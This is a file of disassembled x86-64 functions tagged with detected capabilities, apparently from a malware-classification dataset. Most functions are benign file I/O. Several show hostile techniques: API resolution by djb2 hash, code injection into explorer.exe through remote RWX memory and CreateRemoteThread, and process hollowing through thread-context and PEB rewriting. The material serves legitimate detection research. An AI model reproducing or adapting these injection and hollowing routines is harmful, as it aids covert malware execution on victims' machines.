joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180003410
Capabilities:
Hash data using djb2
Resolve function by djb2 hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x140
mov rax, qword [0x18001f018]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov ebp, edx
mov r9, rcx
test rcx, rcx
je 0x1800034f4
test edx, edx
je 0x1800034f4
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1800034f4
mov ebx, dword [rax + rcx + 0x88]
xor r12d, r12d
mov r13d, dword [rax + rcx + 0x8c]
add rbx, rcx
mov r8d, r12d
mov r10d, dword [rbx + 0x20]
mov r15d, dword [rbx + 0x1c]
add r10, rcx
mov r11d, dword [rbx + 0x24]
add r15, rcx
mov r14d, dword [rbx + 0x14]
add r11, rcx
test r14d, r14d
je 0x1800034f4
mov edi, 0x1505
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r11]
mov ecx, dword [r10]
add rcx, r9
mov esi, dword [r15 + rax*4]
mov eax, edi
add rsi, r9
movsx edx, byte [rcx]
test edx, edx
je 0x1800034e0
nop word [rax + rax]
imul eax, eax, 0x21
lea rcx, [rcx + 1]
add eax, edx
movsx edx, byte [rcx]
test edx, edx
jne 0x1800034d0
cmp eax, ebp
je 0x180003527
inc r8d
add r11, 2
add r10, 4
cmp r8d, r14d
jb 0x1800034b0
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.180004360
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
cmp rsi, rbx
jb 0x18000361b
lea rax, [rbx + r13]
cmp rsi, rax
jae 0x18000361b
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.180001640
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rsi + r8], r12b
jne 0x180003560
test r8, r8
je 0x18000357b
mov rdx, rsi
lea rcx, [rsp + 0x20]
call fcn.180005720
mov ecx, r12d
lea rax, [rsp + 0x20]
inc rbx
cmp byte [rax + rbx], cl
jne 0x180003583
test rbx, rbx
je 0x1800035a7
lea rdx, [rsp + 0x20]
cmp byte [rdx], 0x2e
je 0x180003606
inc ecx
inc rdx
movsxd rax, ecx
cmp rax, rbx
jb 0x180003595
mov ecx, 0x7040ee75
call fcn.1800032a0
mov rcx, rax
mov edx, 0x5fbff0fb
call fcn.180003410
mov rdx, rax
test rax, rax
je 0x18000361b
mov eax, r12d
lea rcx, [rsp + 0x21]
add rcx, rax
movsx eax, byte [rcx]
test eax, eax
je 0x1800035f0
nop dword [rax + rax]
imul edi, edi, 0x21
lea rcx, [rcx + 1]
add edi, eax
movsx eax, byte [rcx]
test eax, eax
jne 0x1800035e0
lea rcx, [rsp + 0x20]
call rdx
mov rcx, rax
mov edx, edi
call fcn.180003410
jmp 0x1800034f6
movsxd rax, ecx
mov r12d, ecx
cmp rax, 0x104
jae 0x180003623
mov byte [rsp + rax + 0x20], 0
jmp 0x1800035a7
mov rax, rsi
jmp 0x1800034f6
call fcn.180004488
int3
Function at 0x1400033a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
cmp qword [rax + 0x68], 0
je 0x1400033d9
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140003526
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x40]
cmp qword [rax], 0
je 0x140003403
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x58]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
jmp 0x14000340b
mov dword [rsp + 0x20], 0
movsxd rax, dword [rsp + 0x20]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x60], 0
jle 0x1400034cb
cmp qword [rsp + 0x28], 0
jle 0x1400034cb
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x60], rax
jge 0x140003443
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x40]
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x30]
call fcn.140005320
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x58]
mov ecx, dword [rsp + 0x28]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x58]
mov dword [rcx], eax
movsxd rax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x40]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x40]
mov qword [rcx], rax
cmp qword [rsp + 0x60], 0
jle 0x140003516
mov rax, qword [rsp + 0x50]
cmp qword [rax + 0x80], 0
je 0x140003516
lfence
mov rax, qword [rsp + 0x50]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x60]
mov edx, 1
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
add rsp, 0x48
ret
Function at 0x140004b60
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xb8
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xc0]
cmp qword [rax + 0x68], 0
je 0x140004b9d
mov rax, qword [rsp + 0xc0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140004ba4
mov al, 1
jmp 0x140004d28
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x38], 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xc0]
call qword [rsp + 0x60]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x48], 0xffffffff
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jne 0x140004bf8
mov dword [rsp + 0x3c], 1
jmp 0x140004c00
mov dword [rsp + 0x3c], 0
movzx eax, byte [rsp + 0x3c]
mov byte [rsp + 0x30], al
movzx eax, byte [rsp + 0x30]
test eax, eax
je 0x140004c19
xor al, al
jmp 0x140004d28
mov qword [rsp + 0x70], 0x20
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0xa0]
mov rcx, qword [rsp + 0xc0]
add rcx, 0x74
lea rdx, [rsp + 0x78]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x80]
mov rdx, rcx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x140004c8c
cmp dword [rsp + 0x34], 1
je 0x140004c98
cmp dword [rsp + 0x34], 3
je 0x140004d16
jmp 0x140004d26
mov rax, qword [rsp + 0xc0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jbe 0x140004ced
lfence
mov rax, qword [rsp + 0xc0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
lea rcx, [rsp + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x50], rax
je 0x140004ced
xor al, al
jmp 0x140004d28
mov rax, qword [rsp + 0xc0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140004d07
mov dword [rsp + 0x40], 1
jmp 0x140004d0f
mov dword [rsp + 0x40], 0
movzx eax, byte [rsp + 0x40]
jmp 0x140004d28
mov rax, qword [rsp + 0xc0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140004d28
xor al, al
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.1400067c0
add rsp, 0xb8
ret
Function at 0x1400010a0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x190
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x180], rax
xor edx, edx
mov dword [rsp + 0x50], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x50]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x14000113d
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x14000113d
nop dword [rax]
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x7c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001297
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x140001110
mov edi, dword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ecx, ecx
mov r8d, 0x1000
mov rbx, rax
movsxd r14, dword [rax + 0x3c]
add r14, rax
lea r9d, [rcx + 4]
mov edx, dword [r14 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [r14 + 0x50]
mov rdx, rbx
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memcpy
mov r8d, edi
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [r14 + 0x50]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r10d, dword [r14 + 0xb0]
xor r15d, r15d
add r10, rsi
mov rdi, rax
sub rdi, rbx
mov r11, rax
mov ecx, dword [r10 + 4]
test ecx, ecx
je 0x140001229
mov ebx, 0xfff
nop
mov r9d, ecx
movzx r8d, r15w
sub r9, 8
shr r9, 1
test r9d, r9d
je 0x14000121a
nop dword [rax]
nop word [rax + rax]
movsx rax, r8w
movzx eax, word [r10 + rax*2 + 8]
test bx, ax
je 0x14000120d
mov edx, dword [r10]
and rax, rbx
lea rcx, [rsi + rax]
add qword [rdx + rcx], rdi
inc r8w
movsx eax, r8w
cmp eax, r9d
jb 0x1400011f0
mov eax, dword [r10 + 4]
add r10, rax
mov ecx, dword [r10 + 4]
test ecx, ecx
jne 0x1400011d0
mov r9d, dword [r14 + 0x50]
mov r8, rsi
mov rdx, r11
mov qword [rsp + 0x20], r15
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
lea r9, section..text
add r9, rdi
mov dword [rsp + 0x28], r15d
xor r8d, r8d
mov qword [rsp + 0x20], r15
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor eax, eax
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.1400012b0
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov edi, dword [rsp + 0x58]
jmp 0x140001141
Function at 0x180002560
Capabilities:
Resume thread

Disassembly:
push rbp
push rdi
push r12
push r13
push r14
sub rsp, 0x320
mov rax, qword [0x18003a040]
xor rax, rsp
mov qword [rsp + 0x300], rax
movsxd rdi, dword [rdx + 0x3c]
mov r12, rdx
add rdi, rdx
mov dword [rsp + 0x20], 0x40
mov r14, rcx
mov r9d, 0x3000
mov rcx, qword [rcx]
mov r8d, dword [rdi + 0x50]
mov edx, dword [rdi + 0x34]
call qword [0x180053aa0]
mov rbp, rax
test rax, rax
jne 0x1800025c8
lea rcx, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
call fcn.1800012b0
xor eax, eax
jmp 0x180002774
mov rdx, rbp
lea rcx, str.___Memory_allocate_at_:_0x_p_n
call fcn.1800012b0
mov r9d, dword [rdi + 0x54]
xor eax, eax
mov rcx, qword [r14]
mov r8, r12
mov rdx, rbp
mov qword [rsp + 0x20], rax
call qword [0x180053aa8]
test eax, eax
jne 0x180002608
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
call fcn.1800012b0
xor eax, eax
jmp 0x180002774
mov edx, dword [rdi + 0x34]
lea rcx, str.___Headers_write_at_:_0x_p_n
mov qword [rsp + 0x360], rbx
mov qword [rsp + 0x318], rsi
mov qword [rsp + 0x310], r15
call fcn.1800012b0
xor ecx, ecx
mov esi, ecx
cmp cx, word [rdi + 6]
jae 0x180002697
mov r15d, ecx
nop dword [rax]
movzx ebx, word [rdi + 0x14]
mov qword [rsp + 0x20], rcx
add rbx, r15
mov rcx, qword [r14]
add rbx, rdi
mov r8d, dword [rbx + 0x2c]
mov edx, dword [rbx + 0x24]
add r8, r12
mov r9d, dword [rbx + 0x28]
add rdx, rbp
call qword [0x180053aa8]
lea rdx, [rbx + 0x18]
test eax, eax
je 0x1800026d7
mov r8d, dword [rbx + 0x24]
lea rcx, str.___Section__s_write_at_:_0x_p._n
add r8, rbp
call fcn.1800012b0
movzx eax, word [rdi + 6]
inc esi
add r15, 0x28
mov ecx, 0
cmp esi, eax
jl 0x180002640
xor edx, edx
lea rcx, [rsp + 0x34]
mov r8d, 0x2c8
call fcn.180026fd0
mov rcx, qword [r14 + 8]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
jne 0x1800026e7
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
call fcn.1800012b0
xor eax, eax
jmp 0x18000275c
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
call fcn.1800012b0
xor eax, eax
jmp 0x18000275c
mov edx, dword [rsp + 0xd4]
lea r8, [rdi + 0x34]
mov rcx, qword [r14]
xor eax, eax
add rdx, 8
mov qword [rsp + 0x20], rax
lea r9d, [rax + 4]
call qword [0x180053aa8]
test eax, eax
jne 0x18000271e
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
call fcn.1800012b0
xor eax, eax
jmp 0x18000275c
mov ecx, dword [rdi + 0x28]
lea rdx, [rsp + 0x30]
add ecx, ebp
mov dword [rsp + 0xe0], ecx
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
jne 0x18000274d
lea rcx, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
call fcn.1800012b0
xor eax, eax
jmp 0x18000275c
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rsi, qword [rsp + 0x318]
mov rbx, qword [rsp + 0x360]
mov r15, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.180007af0
add rsp, 0x320
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
Function at 0x1800027a0
Capabilities:
Enumerate pe sections
Resume thread

Disassembly:
push rbp
push rdi
push r12
push r13
push r14
sub rsp, 0x520
mov rax, qword [0x18003a040]
xor rax, rsp
mov qword [rsp + 0x500], rax
movsxd rdi, dword [rdx + 0x3c]
mov r12, rdx
add rdi, rdx
mov dword [rsp + 0x20], 0x40
mov r14, rcx
mov r9d, 0x3000
mov rcx, qword [rcx]
mov r8d, dword [rdi + 0x50]
mov rdx, qword [rdi + 0x30]
call qword [0x180053aa0]
mov rbp, rax
test rax, rax
jne 0x180002809
lea rcx, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
call fcn.1800012b0
xor eax, eax
jmp 0x1800029b7
mov rdx, rbp
lea rcx, str.___Memory_allocate_at_:_0x_p_n
call fcn.1800012b0
mov r9d, dword [rdi + 0x54]
xor eax, eax
mov rcx, qword [r14]
mov r8, r12
mov rdx, rbp
mov qword [rsp + 0x20], rax
call qword [0x180053aa8]
test eax, eax
jne 0x180002849
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
call fcn.1800012b0
xor eax, eax
jmp 0x1800029b7
mov rdx, qword [rdi + 0x30]
lea rcx, str.___Headers_write_at_:_0x_p_n
mov qword [rsp + 0x560], rbx
mov qword [rsp + 0x518], rsi
mov qword [rsp + 0x510], r15
call fcn.1800012b0
xor ecx, ecx
mov esi, ecx
cmp cx, word [rdi + 6]
jae 0x1800028d7
mov r15d, ecx
nop
movzx ebx, word [rdi + 0x14]
mov qword [rsp + 0x20], rcx
add rbx, r15
mov rcx, qword [r14]
add rbx, rdi
mov r8d, dword [rbx + 0x2c]
mov edx, dword [rbx + 0x24]
add r8, r12
mov r9d, dword [rbx + 0x28]
add rdx, rbp
call qword [0x180053aa8]
lea rdx, [rbx + 0x18]
test eax, eax
je 0x180002917
mov r8d, dword [rbx + 0x24]
lea rcx, str.___Section__s_write_at_:_0x_p._n
add r8, rbp
call fcn.1800012b0
movzx eax, word [rdi + 6]
inc esi
add r15, 0x28
mov ecx, 0
cmp esi, eax
jl 0x180002880
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x4d0
call fcn.180026fd0
mov rcx, qword [r14 + 8]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x180002927
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
call fcn.1800012b0
xor eax, eax
jmp 0x18000299f
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
call fcn.1800012b0
xor eax, eax
jmp 0x18000299f
mov rdx, qword [rsp + 0xb8]
lea r8, [rdi + 0x30]
mov rcx, qword [r14]
xor eax, eax
add rdx, 0x10
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call qword [0x180053aa8]
test eax, eax
jne 0x18000295f
lea rcx, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
call fcn.1800012b0
xor eax, eax
jmp 0x18000299f
mov eax, dword [rdi + 0x28]
lea rdx, [rsp + 0x30]
mov rcx, qword [r14 + 8]
add rax, rbp
mov qword [rsp + 0xb0], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x180002990
lea rcx, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
call fcn.1800012b0
xor eax, eax
jmp 0x18000299f
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rsi, qword [rsp + 0x518]
mov rbx, qword [rsp + 0x560]
mov r15, qword [rsp + 0x510]
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.180007af0
add rsp, 0x520
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
Function at 0x18000728c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1800072ba
xor eax, eax
jmp 0x1800073a0
cmp qword [rcx + 0x68], 0
je 0x1800072cb
call fcn.1800073bc
jmp 0x1800073a0
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1800072e2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1800072e4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180007316
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.180026930
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x18000739a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x18000734d
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x180007376
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1800125a4
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x18000739a
cmp rsi, rbx
ja 0x180007354
test rsi, rsi
je 0x18000739a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1800125a4
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18001c120
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180008360
sub rsp, rax
mov rax, qword [0x18003a040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180017918
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18001c16f
mov rax, rbp
jmp 0x18001c277
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x534c0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18001d240
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x534c0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x18001c273
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18001c273
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18001d240
test rax, rax
js 0x18001c273
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x18001c273
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x18001c265
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x18001c265
cmp byte [rcx], 0xd
jne 0x18001c24b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x18001c25a
cmp byte [rcx + 1], 0xa
jne 0x18001c25a
inc rcx
jmp 0x18001c25a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x3a470]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x18001c22d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x18001c277
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180007af0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x18001c498
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18001c4ae
mov al, 1
jmp 0x18001c50e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18001c4bf
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18001c50c
mov ecx, dword [rcx + 0x18]
nop
call fcn.18001fc90
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18001c50c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18001c50c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18001c50c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18001c50e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x18001c5e0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1800534c0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x18001c637
cmp word [rdx], r13w
jne 0x18001c637
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18001c63c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x18001c761
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18001c782
lea r9, [rdx + 2]
cmp cx, r11w
je 0x18001c675
mov rdx, r9
mov word [rbx], cx
jmp 0x18001c69c
cmp r9, r8
jae 0x18001c6ac
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x18001c656
jmp 0x18001c761
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18001c756
cmp dword [rsp + 0x80], esi
je 0x18001c756
lea r8, [0x1800534c0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18001c72e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18001c6fe
mov word [rbx], r13w
jmp 0x18001c75e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18001c70b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18001c75e
cmp word [rsp + 0x70], r13w
jne 0x18001c73b
cmp rbx, r14
je 0x18001c6f8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18001d248
cmp word [rsp + 0x70], r13w
je 0x18001c761
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800534c0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18001c75b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x18001c761